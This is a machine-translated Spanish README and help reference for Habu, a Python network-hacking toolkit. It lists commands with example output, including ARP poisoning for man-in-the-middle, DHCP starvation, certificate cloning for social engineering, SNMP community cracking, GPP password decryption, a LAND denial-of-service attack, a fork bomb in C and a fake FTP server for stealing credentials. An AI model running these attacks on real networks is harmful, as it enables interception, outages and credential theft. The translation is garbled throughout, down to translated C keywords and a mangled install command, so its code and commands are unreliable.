Estoy desarrollando Habu para enseñar (y aprender) algunos conceptos sobre Python y la piratería de redes.
Algunas técnicas implementadas en la versión actual son:
El desarrollo de este software es compatible con Securetia SRL (https://www.securetia.com/)
Varios escenarios de uso útil se detallan en https://fposportantier.github.io/hacking-habu/
La siguiente lista de reproducción de YouTube tiene videos que muestran la instalación y el uso:
https://www.youtube.com/watch?v=rgp9sellyqe&list=pl4hznx8vnfxqsvnw7x-bxon0dgxndfnvd
Si desea discutir algunas características de Habu, posibles mejoras, etc., puede usar el grupo de telegrama Habu: https://t.me/python_habu
Los problemas y las solicitudes de extracción deben enviarse al repositorio de GitHub: https://github.com/fportantier/habu
Forma recomendada de instalar:
$ Python3 -m PIP Install -Upgrade Git+https: //github.com/fportantier/habu.git
Esto debe funcionar en cualquier sistema que tenga instalado Python 3.
Nota: En algunos sistemas (como Microsoft Windows) debe ajustar el comando para apuntar a la ruta correcta del ejecutable de Python.
Ahora tenemos un comando para actualizar directamente desde el repositorio de GIT y limpiar cualquier comando antiguo que no exista más o que haya sido renombrado.
$ habu.upgrade
Todos los comandos implementan la opción '--help', que muestra la ayuda, los argumentos, las opciones y los valores predeterminados.
Casi todos los comandos implementan el modo detallado con la opción '-V'. Esto puede darle información adicional sobre lo que Habu está haciendo.
Uso: Habu.Arp.ping [Opciones] IP Envíe paquetes ARP para verificar si es un host en la red local. Ejemplo: # Habu.Arp.Ping 192.168.0.1 Ether / ARP está en A4: 08: F5: 19: 17: A4 dice 192.168.0.1 / relleno Opciones: -i interfaz de texto para usar -v salida verbosa --Help Muestra este mensaje y salida.
Uso: Habu.Arp.Poison [Opciones] Víctima1 Víctima2 Enviar paquetes ARP 'IS-AT' a cada víctima, envenenando sus tablas ARP para Envíe el tráfico a su sistema. Nota: Si quieres un hombre trabajador completo en el ataque medio, necesitas habilitar el reenvío de paquetes en su sistema operativo para actuar como un enrutador. Puedes hacerlo usando: # echo 1>/proc/sys/net/ipv4/ip_forward Ejemplo: # Habu.arpoison 192.168.0.1 192.168.0.77 Ether / ARP está en F4: 96: 34: E5: AE: 1B dice 192.168.0.77 Ether / ARP está en F4: 96: 34: E5: AE: 1B dice 192.168.0.70 Ether / ARP está en F4: 96: 34: E5: AE: 1B dice 192.168.0.77 ... Opciones: -i interfaz de texto para usar -V demasiado --Help Muestra este mensaje y salida.
Uso: Habu.Arp.Sniff [Opciones] Escuche los paquetes ARP y muestre información para cada dispositivo. Columnas: segundos del último paquete | IP | Mac | Proveedor Ejemplo: 1 192.168.0.1 A4: 08: F5: 19: 17: A4 Sagemcom Broadband SAS 7 192.168.0.2 64: BC: 0C: 33: E5: 57 LG Electrónica (comunicaciones móviles) 2 192.168.0.5 00: C2: C6: 30: 2C: 58 Intel Corporate 6 192.168.0.7 54: F2: 01: DB: 35: 58 Samsung Electronics Co., Ltd Opciones: -i interfaz de texto para usar --Help Muestra este mensaje y salida.
Uso: Habu.asydns [Opciones]
Solicita un nombre de dominio DNS basado en claves RSA públicas y privadas utilizando el
Protocolo Asydns https://github.com/portantier/asydns
Ejemplo:
$ Habu.asydns -v
Generación de la tecla RSA ...
Cargando la tecla RSA ...
{
"IP": "181.31.41.231",
"Nombre": "07286E90FD6E7E6BE61D6A7919967C7CF3BBFB23A36EDBC72B6D7C53.A.ASYDNS.ORG"
}
$ Dig +Short 07286E90FD6E7E6BE61D6A7919967C7CF3BBFB23A36EDBC72B6D7C53.A.ASYDNS.ORG
181.31.41.231
Opciones:
-U TEXTA API URL
-g forzar la generación de un nuevo par de claves
-R revoca la clave pública
-v salida verbosa
--Help Muestra este mensaje y salida.
Uso: Habu.B64 [Opciones] [F] Codifica o decodifica datos en Base64, al igual que el Comando Base64. $ Echo Awesome | Habu.B64 Yxdlc29tzqo = $ echo yxdlc29tzqo = | Habu.B64 -D impresionante Opciones: -d decodificar en lugar de codificar --Help Muestra este mensaje y salida.
Uso: Habu.Cert.Clone [Opciones] HostName Port KeyFile CertFile Conectarse a un servidor SSL/TLS, obtener el certificado y generar un certificado con las mismas opciones y valores de campo. Nota: El certificado generado no es válido, pero se puede usar para social ataques de ingeniería Ejemplo: $ Habu.CertClone www.google.com 443 /tmp/key.pem /tmp/cert.pem Opciones: -Copy-Extensiones de certificado de copia de extensiones (predeterminado: falso) --Exped Genere un certificado caducado (predeterminado: falso) -V demasiado --Help Muestra este mensaje y salida.
Uso: Habu.cert.crtsh [Opciones] Dominio Descarga los registros de transparencia del certificado para un dominio y consulte con DNS consultas si cada subdominio existe. Utiliza múltiples lectura para mejorar el rendimiento de las consultas DNS. Ejemplo: $ Habu.crtsh Securetia.com alt.securetia.com otro.securetia.com www.securetia.com Opciones: -C deshabilitar el caché -n deshabilitar la validación del subdominio DNS -v salida verbosa --json imprima la salida en formato JSON --Help Muestra este mensaje y salida.
Uso: Habu.Cert.Names [Opciones] [Red] Se conecta a cada host/puerto y muestra un resumen de los nombres de certificados. Los hosts para conectarse están tomados de dos opciones posibles: 1. -I opción (predeterminado: stdin). Un archivo donde cada línea es un host o red 2. Un argumento que puede ser un host o una red Si usa ambos métodos, los hosts y las redes se fusionan en una lista. Ejemplo: $ Habu.cert.names 2.18.60.240/29 2.18.60.241 443 IS-Microsoft.com Microsoft.com Privacy.microsoft.com 2.18.60.242 443 aod-ssl.itunes.apple.com aod.itunes.apple.com aodp-ssl.itunes.apple.com 2.18.60.243 443 *.mlb.com mlb.com 2.18.60.244 443 [SSL: TLSV1_ALERT_INTERNAL_ERROR] Error interno de alerta TLSV1 (_ssl.c: 1056) 2.18.60.245 443 cert2-cn-public-ubiservices.ubi.com cert2-cn-public-ws-ubiservices.ubi.com 2.18.60.246 443 *.blog.sina.com.cn *.dmp.sina.cn aod.itunes.apple.com aodp-ssl.itunes.apple.com aod-ssl.itunes.apple.com *.blog.sina.com.cn cert2-cn-Public-ubiservices.ubi.com CERT2-CN-Public-WS-Ubiservices.ubi.com *.dmp.sina.cn IS-Microsoft.com Microsoft.com *.mlb.com mlb.com privacy.microsoft.com Opciones: -p puertos de texto para conectarse a (lista separada de coma) -I Archivo de entrada del nombre de archivo (predeterminado: stdin) -T tiempo de flotación para esperar cada conexión -v salida verbosa --json imprima la salida en formato JSON --Help Muestra este mensaje y salida.
Uso: Habu.Config.Del [Opciones] Clave Elimine una clave de la configuración. Nota: Por defecto, la clave se convierte en mayúsculas. Ejemplo: $ Habu.Config.Del DNS_SERVER Opciones: --Help Muestra este mensaje y salida.
Uso: Habu.Config.Set [Opciones] Valor clave Establecer valor en la tecla de configuración. Nota: Por defecto, la clave se convierte en mayúsculas. Ejemplo: $ Habu.Config.Set DNS_SERVER 8.8.8.8 Opciones: --Help Muestra este mensaje y salida.
Uso: Habu.Config.Show [Opciones]
Muestre la configuración actual.
Nota: Por defecto, las opciones con 'clave' en su nombre están sombreadas.
Ejemplo:
$ Habu.config.show
{
"DNS_SERVER": "8.8.8.8",
"Fernet_key": "*************"
}
Opciones:
-k,-show-keys muestra también los valores clave
-Texto de opción ... escriba en la configuración (valor clave)
--Help Muestra este mensaje y salida.
Uso: Habu.crack.Luhn [Opciones] Número Habiendo conocido valores para un número validado de Luhn, obtenga el posible Números desconocidos. Los números que usan el algoritmo de Luhn para la validación son tarjetas de crédito, IMEI, Identificador de proveedores nacionales en los Estados Unidos, Canadian Social Números de seguro, números de identificación de Israel y números de seguro social griego (Αμκα). Los personajes '-' son ignorados. Defina los números faltantes con el carácter 'X'. Referencia: https://en.wikipedia.org/wiki/luhn_algorithm Ejemplo: $ Habu.crack.Luhn 4509-XX08-3160-6445 4509000831606445 4509180831606445 4509260831606445 4509340831606445 4509420831606445 4509590831606445 4509670831606445 4509750831606445 4509830831606445 4509910831606445 Opciones: --Help Muestra este mensaje y salida.
Uso: Habu.crack.snmp [Opciones] IP Lanza consultas SNMP-get contra una IP y le dice cuándo encuentra una válida Community String (es una galleta SNMP simple). El diccionario utilizado es el distribuido con la herramienta Onextyone https://github.com/trailofbits/onesixtyone Ejemplo: # Habu.crack.snmp 179.125.234.210 Comunidad encontrada: privado Comunidad encontrada: público Nota: También puede recibir mensajes como <Universal > <class 'scapy.asn1.asn1.asn1 _class _metaclass' >, no sé cómo suprimir ellos por ahora. Opciones: -p puerto entero para usar -C Community de texto (predeterminado: lista de más usados) -S parada después del primer partido -V demasiado --Help Muestra este mensaje y salida.
Uso: Habu.Crypto.Fernet [Opciones] Cifrado Fernet. Utiliza AES-128-CBC con HMAC Nota: debe usar una clave para cifrado con Fernet. Use el paramenter -k o establezca el valor de configuración de Fernet_Key. Las claves se pueden generar con el comando habu.crypto.fernet.genkey Referencia: https://github.com/fernet/spec/blob/master/spec.md Ejemplo: $ "Quiero proteger esta cadena" | habu.crypto.fernet gaaaaabbxncgoculluvnrelytbecwnek9iq5jbkq9jan3wiibuzpqpugv5owvnc6xfia ... $ echo gaaaaabbxncgoculluvnrelytbecwnek9iq5jbkq9jan3wiibuzpqpugv5owvnc6xfia ... | habu.crypto.fernet -d Quiero proteger esta cadena Opciones: -K clave de texto -d descifrar en lugar de encrypt -ttl tiempo entero para vivir para la verificación de la marca de tiempo -I Archivo de entrada del nombre de archivo (predeterminado: stdin) -O Archivo de salida del nombre de archivo (predeterminado: stdout) --Help Muestra este mensaje y salida.
Uso: Habu.crypto.fernet.Genkey [Opciones] Genere una nueva clave Fernet, opcionalmente escríbela a ~/.habu.json Ejemplo: $ Habu.crypto.fernet.genkey xgvwcivjwe9uq7nbvwo796ii4dsgd623qot9gwqnuhg = Opciones: -W escribe esta clave para ~/.habu.json --Help Muestra este mensaje y salida.
Uso: Habu.crypto.GpPref [Opciones] Contraseña Descifrar la contraseña de los usuarios locales agregados a través de la política de grupos de Windows 2008 Preferencias. Este valor es el atributo 'CPassword' integrado en el archivo Groups.xml, Almacenado en el Sysvol Share del controlador del dominio. Ejemplo: # Habu.crypto.gppref AZVJMXH/J9KRU5N0CZX1UBPLSUJZFE8J7DOLTPD8TLK TestPassword Opciones: --Help Muestra este mensaje y salida.
Uso: Habu.crypto.hasher [Opciones] [F]
Calcule varios hash para los datos de entrada, que pueden ser un archivo o una secuencia.
Ejemplo:
$ Habu.crypto.hasher readme.rst
MD5 992A833CD162047DAAA6A236B8AC15AE README.RST
RIPEMD160 0566F9141E65E57CAE93E0E3B70D1D8C2CCB0623 README.RST
SHA1 D7DBFD2C5E2828EB22F776550C826E41666526253 README.RST
SHA256 6BB22D927E1B6307ced616821A1877B6CC35E ... Readme.RST
SHA512 8743F3EB12A11CF3EDCC16E400FB14D599B4A ... README.RST
Whirlpool 96bcc083242e796992c0f3462f330811f9e8c ... readme.rst
También puede especificar qué algoritmo usar. En tal caso, la salida es
Solo el valor del hash calculado:
$ Habu.hasher -A MD5 Readme.rst
992A8333CD162047DAAA6A236B8AC15AE README.RST
Opciones:
-A [MD5 | SHA1 | SHA256 | SHA512 | RIPEMD160 | Whirlpool]
Solo este algoritmo (predeterminado: todo)
--Help Muestra este mensaje y salida.
Uso: Habu.crypto.xor [Opciones] Xor cifrado. Nota: Xor no es un 'cifrado seguro'. Si necesitas una criptografía fuerte, debes usar Algoritmos como AES. Puede usar Habu.Fernet para eso. Ejemplo: $ Habu.xor -k mysecretkey -i /bin /ls> xored $ Habu.xor -k mySecretkey -i xored> uxored $ sha1sum /bin /ls uxored $ 6FCF930FCEE1395A1C95F87DD38413E02DEFF4BB /BIN /LS $ 6fcf930fcee1395a1c95f87dd38413e02deff4bb uxored Opciones: -K clave de cifrado de texto -I Archivo de entrada del nombre de archivo (predeterminado: stdin) -O Archivo de salida del nombre de archivo (predeterminado: stdout) --Help Muestra este mensaje y salida.
Uso: Habu.Data.enrich [Opciones]
Enriquecer los datos agregando información interesante.
Ejemplo:
$ cat /var/log/auth.log | habu.data.extract.ipv4 | habu.data.enrich
[
{
"Asset": "8.8.8.8",
"Familia": "ipaddress",
"Asn": "15169",
"net": "8.8.8.0/24",
"CC": "nosotros",
"Rir": "Arin",
"Asname": "Google - Google LLC, EE. UU."
},
{
"Activo": "8.8.4.4",
"Familia": "ipaddress",
"Asn": "15169",
"net": "8.8.4.0/24",
"CC": "nosotros",
"Rir": "Arin",
"Asname": "Google - Google LLC, EE. UU."
}
]
Opciones:
-I Archivo de entrada del nombre de archivo (predeterminado: stdin)
-v salida verbosa
--Help Muestra este mensaje y salida.
Uso: Habu.Data.extract.Domain [Opciones] [Infile] Extraiga dominios válidos de un archivo o stdin. Opcionalmente, verifique cada dominio la presencia de registros NS. Ejemplo: $ cat /var/log/some.log | habu.data.extract.domain -c Google.com IBM.com redhat.com Opciones: -c verificar si el dominio tiene servidores NS definidos -v salida verbosa -J Salida JSON --Help Muestra este mensaje y salida.
Uso: Habu.Data.Extract.Email [Opciones] [Infile] Extraiga direcciones de correo electrónico de un archivo o stdin. Ejemplo: $ cat /var/log/auth.log | habu.data.extract.email [email protected] [email protected] [email protected] Opciones: -v salida verbosa -J Salida JSON --Help Muestra este mensaje y salida.
Uso: Habu.Data.Extract.FQDN [Opciones] [Infile] Extraer fqdns (nombres de dominio totalmente calificados) de un archivo o stdin. Ejemplo: $ cat /var/log/some.log | habu.data.extract.fqdn www.google.com IBM.com fileserver.redhat.com Opciones: -c verificar si el nombre de host se resuelve -v salida verbosa -J Salida JSON --Help Muestra este mensaje y salida.
Uso: Habu.Data.Extract.IPV4 [Opciones] [Infile] Extraiga direcciones IPv4 de un archivo o stdin. Ejemplo: $ cat /var/log/auth.log | habu.data.extract.ipv4 172.217.162.4 23.52.213.96 190.210.43.70 Opciones: -J, --JSON JSON SALIDA -u, -Unique eliminar duplicados -v salida verbosa --Help Muestra este mensaje y salida.
Uso: Habu.Data.Filter [Opciones] Campo [GT | LT | EQ | NE | GE | LE | en | Contiene | Definitivamente
ed | indefinido | verdadero | falso] [valor]
Filtrar datos basados en operadores.
Referencia del operador:
GT: Mayor que
LT: menos que
EQ: igual a
ne: no es igual a
GE: Greather o igual que
LE: Menor o igual que
En: Dentro de la lista de valores (o dentro de la red)
contiene: contiene el valor (o la dirección de red)
definido: el valor se define
Undefinado: el valor no está definido
Verdadero: el valor es verdadero
Falso: el valor es falso
Ejemplo:
$ cat /var/log/auth.log | habu.data.extract.ipv4 | Habu.data.enrich | habu.data.filter cc eq us
[
{
"Artículo": "8.8.8.8",
"Familia": "IPv4_address",
"Asn": "15169",
"net": "8.8.8.0/24",
"CC": "nosotros",
"Rir": "Arin",
"Asname": "Google - Google LLC, EE. UU."
}
]
Docs: https://fportantier.github.io/hacking-with-habu/user/data-manipulation.html#data-enrichment
Opciones:
-I Archivo de entrada del nombre de archivo (predeterminado: stdin)
-v salida verbosa
-no negar la comparación
--Help Muestra este mensaje y salida.
Uso: Habu.Data.Select [Opciones] Campo Seleccione un campo de una entrada JSON. Ejemplo: $ cat /var/log/auth.log | habu.data.extract.ipv4 | Habu.data.enrich | habu.data.filter cc eq us | habu.data.select Asset 8.8.8.7 8.8.8.8 8.8.8.9 Opciones: -I Archivo de entrada del nombre de archivo (predeterminado: stdin) -v salida verbosa --json json salida --Help Muestra este mensaje y salida.
Uso: Habu.dhcp.discover [Opciones] Envíe una solicitud DHCP y muestre qué dispositivos ha respondido. Nota: Usando '-V' puede ver todas las opciones (como servidores DNS) incluidas en las respuestas. # Habu.DHCP_DUScOVER Ether / IP / UDP 192.168.0.1:bootps> 192.168.0.5:bootpc / bootp / dhcp Opciones: -i interfaz de texto para usar -T tiempo entero (segundos) para esperar las respuestas -v salida verbosa --Help Muestra este mensaje y salida.
Uso: Habu.dhcp.starvation [Opciones] Enviar múltiples solicitudes DHCP desde direcciones MAC falsificadas para completar el DHCP Arrendamientos del servidor. Cuando se asignan todas las direcciones de red disponibles, el servidor DHCP No envíes respuestas. Entonces, se pueden hacer algunos ataques, como la falsificación de DHCP. # Habu.dhcp_starvation Ether / IP / UDP 192.168.0.1:bootps> 192.168.0.6:bootpc / bootp / dhcp Ether / IP / UDP 192.168.0.1:bootps> 192.168.0.7:bootpc / bootp / dhcp Ether / IP / UDP 192.168.0.1:bootps> 192.168.0.8:bootpc / bootp / dhcp Opciones: -i interfaz de texto para usar -T tiempo entero (segundos) para esperar las respuestas -S tiempo entero (segundos) entre solicitudes -v salida verbosa --Help Muestra este mensaje y salida.
Uso: Habu.dns.lookup.Forward [Opciones] Nombre de host
Realice una búsqueda hacia adelante de un nombre de host dado.
Ejemplo:
$ Habu.dns.lookup.forward google.com
{
"IPv4": "172.217.168.46",
"IPv6": "2a00: 1450: 400a: 802 :: 200e"
}
Opciones:
-v salida verbosa
--Help Muestra este mensaje y salida.
Uso: Habu.dns.lookup.reverse [Opciones] IP_Address
Realice una búsqueda inversa de una dirección IP dada.
Ejemplo:
$ $ habu.dns.lookup.reverse 8.8.8.8
{
"HostName": "Google-Public-DNS-A.google.com"
}
Opciones:
-v salida verbosa
--Help Muestra este mensaje y salida.
Uso: Habu.Eicar [Opciones] Imprima la cadena de prueba EICAR que se puede usar para probar motores antimalware. Más información: http://www.eicar.org/86-0-intended-use.html Ejemplo: $ habu.eicar X5o! P%@ap [4 xzp54 (p^) 7cc) 7} $ eicar-standard-antivirus-test-test! $ H+h* Opciones: --Help Muestra este mensaje y salida.
Uso: Habu.forkbomb [Opciones] [Bash | Batch | C | Haskell | Perl | Php | Python | Ruby]
Un atajo para recordar cómo usar bombas de horquilla en diferentes idiomas.
Actualmente compatible: Bash, Batch, C, Haskell, Perl, PHP, Python, Ruby.
Ejemplo:
$ Habu.forkbomb c
#Include <Unistd.h>
int main ()
{
mientras (1)
{
tenedor();
}
regresar 0;
}
Opciones:
--Help Muestra este mensaje y salida.
Uso: Habu.fqdn.finder [Opciones] [Dominios] ...
Utiliza varias técnicas para obtener FQDN válidos para los dominios especificados.
1. Intenta todos los FQDN con transferencias de zona DNS
2. Verifique los registros de transparencia del certificado
3. Conéctese a puertos especificados, obtenga certificados SSL y obtenga FQDNS de ellos
4. Conéctese a los sitios web y obtenga FQDNS basados en los enlaces del sitio web
5. Fuerza bruta DNS para nombres comunes
Los resultados se limpian para eliminar FQDN que no se resuelven por DNS
Ejemplo:
$ Habu.fqdn.finder Educationit.com
barometralalarial.educacionit.com
blog.educacionit.com
ci.educacionit.com
educacionit.com
intranet.educacionit.com
lecdev.educacionit.com
lecweb.educacionit.com
mail.educacionit.com
plantillas.educacionit.com
www.educacionit.com
Opciones:
-T tiempo de flotación para esperar cada conexión
-v salida verbosa
-Salida de depuración de DEBUG
-Connect /--No-Connect Get de los certificados SSL de puertos abiertos FQDNS conocidos
--Brute /--No-Brute Run DNS Brute Force contra dominios
--links /--No-Links Extract FQDNS de los enlaces del sitio web
--xfr /--no-xfr intenta hacer una transferencia de zona DNS contra dominios
--ctlog /--no-ctlog intente obtener fqdns de la transparencia del certificado
Registro
--json imprima la salida en formato JSON
--Help Muestra este mensaje y salida.
Uso: Habu.gateway.Find [Opciones] Red Intente comunicarse con una IP externa usando cualquier host tiene un enrutador. Útil para encontrar enrutadores en su red. Primero, usa Arping para detectar hosts vivos y obtener direcciones MAC. Más tarde, cree un paquete de red y coloque cada dirección MAC como destino. Por último, imprima los dispositivos que reenvían correctamente los paquetes. Ejemplo: # Habu.Find.Gateway 192.168.0.0/24 192.168.0.1 A4: 08: F5: 19: 17: A4 Sagemcom 192.168.0.7 B0: 98: 2b: 5d: 22: 70 Sagemcom 192.168.0.8 B0: 98: 2B: 5d: 1f: E8 Sagemcom Opciones: -i interfaz de texto para usar -Host Host de texto para alcanzar (predeterminado: 8.8.8.8) -tcp usa TCP en lugar de ICMP -Puerto de destino del rango Integer de Dport para TCP (predeterminado: 80) -Tiempo de tiempo entero de tiempo en segundos (predeterminado: 5) -v salida verbosa --Help Muestra este mensaje y salida.
Uso: Habu.host [Opciones]
Recopile información sobre el anfitrión donde se está ejecutando Habu.
Ejemplo:
$ habu.host
{
"Kernel": [
"Linux",
"demo123",
"5.0.6-200.fc29.x86_64",
"#1 SMP mié 3 de abril 15:09:51 UTC 2019",
"x86_64",
"x86_64"
]
"distribución": [
"Fedora",
"29",
"Veintiún nueve"
]
"libc": [
"GLIBC",
"2.2.5"
]
"Arch": "x86_64",
"Python_version": "3.7.3",
"OS_Name": "Linux",
"CPU": "x86_64",
"static_hostname": "demo123",
"fqdn": "demo123.lab.sierra"
}
Opciones:
-v salida verbosa.
--Help Muestra este mensaje y salida.
Uso: Habu.http.headers [Opciones] servidor
Recupere los encabezados HTTP de un servidor web.
Ejemplo:
$ Habu.http.headers http://duckduckgo.com
{
"Servidor": "nginx",
"Fecha": "Sol, 14 de abril de 2019 00:00:55 GMT",
"Tipo de contenido": "Texto/HTML",
"Contenido-longitud": "178",
"Conexión": "mantener alive",
"Ubicación": "https://duckduckgo.com/",
"X-Frame-Options": "Sameorigin",
"Content-Security-Policy": "HTTPS de SRC predeterminado: blob: datos: 'inseguro en línea' 'unsafe-eval'",
"X-XSS-Protection": "1; MODE = BLOCK",
"X-Content-Type-Opciones": "Nosniff",
"Referente-Policía": "Origen",
"Espere-CT": "Max-Age = 0",
"Expires": "Lun, 13 de abril de 2020 00:00:55 GMT",
"Cache-Control": "Max-Age = 31536000"
}
Opciones:
-v salida verbosa
--Help Muestra este mensaje y salida.
Uso: Habu.http.options [Opciones] servidor
Recupere los métodos HTTP disponibles de un servidor web.
Ejemplo:
$ Habu.http.options -v http://google.com
{
"Permitido": "Obtén, cabeza"
}
Opciones:
-v salida verbosa
--Help Muestra este mensaje y salida.
Uso: Habu.http.Tech [Opciones] URL Utiliza aplicaciones Wappalyzer. solicitud. Referencia: https://github.com/aliasio/wappalyzer Nota: Esta herramienta solo envía una solicitud. Entonces, es sigiloso y no sospechoso. $ Habu.web.tech https://woocomerce.com Google Tag Manager desconocido Mysql desconocido Nginx desconocido PHP desconocido Prototipo desconocido Request JS Desconocido WooCommerce 3.8.0 WordPress 5.2.4 Yoast SEO 10.0.1 Opciones: --cache /--no-cache -formato de salida de formato [txt | csv | json] -v salida verbosa --Help Muestra este mensaje y salida.
Uso: Habu.icmp.ping [Opciones] IP La herramienta clásica de ping que envía solicitudes de eco ICMP. # Habu.icmp.ping 8.8.8.8 IP / ICMP 8.8.8.8> 192.168.0.5 Echo-Repply 0 / Padding IP / ICMP 8.8.8.8> 192.168.0.5 Echo-Repply 0 / Padding IP / ICMP 8.8.8.8> 192.168.0.5 Echo-Repply 0 / Padding IP / ICMP 8.8.8.8> 192.168.0.5 Echo-Repply 0 / Padding Opciones: -i Texto que interfaz para usar (predeterminado: auto) -c entero cuántos paquetes envían (predeterminado: infinit) -t Tiempo de espera entero en segundos (predeterminado: 2) -w entero cuántos segundos entre paquetes (predeterminado: 1) -V demasiado --Help Muestra este mensaje y salida.
Uso: Habu.ip.asn [Opciones] IP
Use el servicio Team Cymru IP2Asn para obtener información sobre un IPv4/IPv6 público.
Referencia: https://www.team-cymru.com/ip-asn-mapping.html
$ Habu.ip.asn 8.8.8.8
{
"Asn": "15169",
"net": "8.8.8.0/24",
"CC": "nosotros",
"Rir": "Arin",
"Asname": "Google - Google LLC, EE. UU.",
"País": "Estados Unidos"
}
Opciones:
--Help Muestra este mensaje y salida.
Uso: Habu.ip.Geolocation [Opciones] IP_address
Obtenga la geolocalización de un address IP de https://ipapi.co/.
Ejemplo:
$ Habu.ip.Geolocation 8.8.8.8
{
"IP": "8.8.8.8",
"Ciudad": "Vista de montaña",
...
"Asn": "AS15169",
"org": "Google LLC"
}
Opciones:
-v salida verbosa.
--Help Muestra este mensaje y salida.
Uso: Habu.ip.internal [Opciones]
Obtenga las direcciones IP locales de las interfaces locales.
Ejemplo:
$ Habu.ip.internal
{
"Lo": {
"IPv4": [
{
"addr": "127.0.0.1",
"Netmask": "255.0.0.0",
"Peer": "127.0.0.1"
}
]
"Link_layer": [
{
"Addr": "00: 00: 00: 00: 00: 00",
"Peer": "00: 00: 00: 00: 00: 00"
}
]
"IPv6": [
{
"addr": ":: 1",
"Netmask": "ffff: ffff: ffff: ffff: ffff: ffff: ffff: ffff/128"
}
]
},
...
Opciones:
-v salida verbosa.
--Help Muestra este mensaje y salida.
Uso: Habu.ip.Public [Opciones] Obtenga la dirección IP pública de la conexión desde https://api.ipify.org. Ejemplo: $ Habu.ip.public 80.219.53.185 Opciones: -4, --IPV4 Imprime su dirección pública IPv4 (predeterminada) -6, --IPV6 Imprime su dirección pública de IPv6 -J, --json imprima la salida en formato JSON --Help Muestra este mensaje y salida.
Uso: Habu.karma [Opciones] Host
Use el servicio Karma https://karma.securetia.com para verificar una IP contra
Varias listas de inteligencia / reputación de amenazas.
$ Habu.karma www.google.com
www.google.com -> 64.233.190.99
[
"hphosts_fsa",
"hphosts_psh",
"hphosts_emd"
]
Nota: Puede usar el nombre de host o la IP del host a la consulta.
Opciones:
--Help Muestra este mensaje y salida.
Uso: Habu.karma.Bulk [Opciones] [Infile] Muestre qué direcciones IP están dentro de las listas negras que usan el karma en línea servicio. Ejemplo: $ cat /var/log/auth.log | habu.extract.ipv4 | habu.karma.bulk 172.217.162.4 spamhaus_drop, alienvault_spamming 23.52.213.96 limpio 190.210.43.70 AlienVault_Malicious Opciones: --json json salida --Bad Show solo entradas en listas negras -v salida verbosa --Help Muestra este mensaje y salida.
Uso: Habu.land [Opciones] IP Este comando implementa el ataque terrestre, que envía paquetes forjando el La dirección IP de origen es la misma que la IP de destino. También usa el El mismo puerto de origen y destino. El ataque es muy antiguo y se puede utilizar para hacer una negación de servicio en los viejos sistemas, como Windows NT 4.0. Más información aquí: https://en.wikipedia.org/wiki/land # sudo Habu.land 172.16.0.10 ............ Nota: Cada punto (.) Es un paquete enviado. Puede especificar cuántos paquetes envían con la opción '-c'. El valor predeterminado nunca es parada. Además, puede especificar el Puerto de destino, con la opción '-p'. Opciones: -c entero cuántos paquetes envían (predeterminado: infinit) -P Puerto entero para usar (predeterminado: 135) -i interfaz de texto para usar -V demasiado --Help Muestra este mensaje y salida.
Uso: habu.nc [opciones] puerto host Algún tipo de reemplazo de NetCat/NCAT. La ejecución emula la sensación de estas herramientas populares. Ejemplo: $ Habu.nc --crlf www.portantier.com 80 Conectado a 45.77.113.133 80 Cabeza / http / 1.0 Http/1.0 301 se movió permanentemente Fecha: Jue, 26 de julio de 2018 21:10:51 GMT Servidor: OpenBSD HTTPD Conexión: Cerrar Tipo de contenido: texto/html Contenido-longitud: 443 Ubicación: https://www.portantier.com/ Opciones: -Familia [4 | 6 | 46] Familia de dirección IP --ssl habilitar ssl --CRLF use CRLF para la secuencia EOL -PROTOCOL [TCP | UDP] Protocolo de capa 4 para usar -Source-IP Text Source IP para usar -Puerto fuente de rango entero de puerto-puerto para usar para usar --Help Muestra este mensaje y salida.
Uso: Habu.net.contest [Opciones] Intente conectarse a varios servicios y verificar si puede comunicarse con ellos utilizando su conexión a Internet. Ejemplo: $ Habu.net.contest DNS: verdadero FTP: verdadero SSH: verdadero Http: verdadero Https: verdadero Opciones: --Help Muestra este mensaje y salida.
Uso: Habu.net.Interfaces [Opciones] Muestre las interfaces de red disponibles en el sistema. Ejemplo: # Habu.interfaces # Nombre Mac Inet INET6 0 ETH0 80: FA: 5B: 4B: F9: 18 Ninguno Ninguno 1 LO 00: 00: 00: 00: 00: 00 127.0.0.1 :: 1 2 WLAN0 F4: 96: 34: E5: AE: 1B 192.168.0.6 Ninguno 3 vboxnet0 0a: 00: 27: 00: 00: 00 192.168.56.1 Fe80 :: 800: 27ff: Fe00: 0 Opciones: -J Salida en formato JSON --Help Muestra este mensaje y salida.
Uso: Habu.nmap.excluded [Opciones] Imprime un puerto aleatorio que no está presente en el archivo NMAP-Services, por lo que no está escaneado automáticamente por NMAP. Útil para servicios como SSH o RDP, que se escanean continuamente en sus puertos predeterminados. Ejemplo: # Habu.nmap.excluded 58567 Opciones: -L rango entero del puerto más bajo a considerar -H rango entero el puerto más alto a considerar --Help Muestra este mensaje y salida.
Uso: Habu.nmap.open [Opciones] ScanFile Lea un informe NMAP e imprima los puertos abiertos. Imprima los puertos que se han dado como resultado que lean el NMAP generado producción. Puede usarlo para reutilizar rápidamente la lista de puertos para obtener la entrada de otros herramientas. Admite y detecta los 3 formatos de salida (NMAP, GNMAP y XML) Ejemplo: # Habu.nmap.open Portantier.nmap 22,80,443 Opciones: -P [TCP | UDP | SCTP] El protocolo (default = TCP) --Help Muestra este mensaje y salida.
Uso: Habu.nmap.ports [Opciones] ScanFile Lea un informe NMAP e imprima los puertos probados. Imprima los puertos que se han probado leyendo la salida NMAP generada. Puede usarlo para reutilizar rápidamente la lista de puertos para obtener la entrada de otros herramientas. Admite y detecta los 3 formatos de salida (NMAP, GNMAP y XML) Ejemplo: # Habu.nmap.ports Portantier.nmap 21,22,23,80,443 Opciones: -P [TCP | UDP | SCTP] El protocolo (default = TCP) --Help Muestra este mensaje y salida.
Uso: Habu.proToscan [Opciones] IP Envíe paquetes IP con un contenido de campo de protocolo diferente para adivinar qué capa 4 protocolos están disponibles. La salida muestra qué protocolos no generan un 'protocolo inexistente' Respuesta ICMP. Ejemplo: $ sudo python cmd_ipscan.py 45.77.113.133 1 ICMP 2 IGMP 4 ipencap 6 TCP 17 UDP 41 IPv6 47 Gre 50 espec 51 ah 58 ipv6_icmp 97 Etherip 112 VRRP 115 L2TP 132 SCTP 137 MPLS_IN_IP Opciones: -i interfaz de texto para usar -t Tiempo de espera entero para cada sonda (predeterminado: 2 segundos) -Toda sondea todos los protocolos (predeterminado: definido en /etc /protocolos) -v salida verbosa --Help Muestra este mensaje y salida.
Uso: Habu.Server.ftp [Opciones]
Servidor FTP falso básico, con el único propósito de robar credenciales de usuario.
Admite SSL/TLS.
Ejemplo:
# sudo habu.server.ftp --ssl --ssl-cert /tmp/cert.pem --ssl-key /tmp/key.pem
Escuchando en el puerto 21
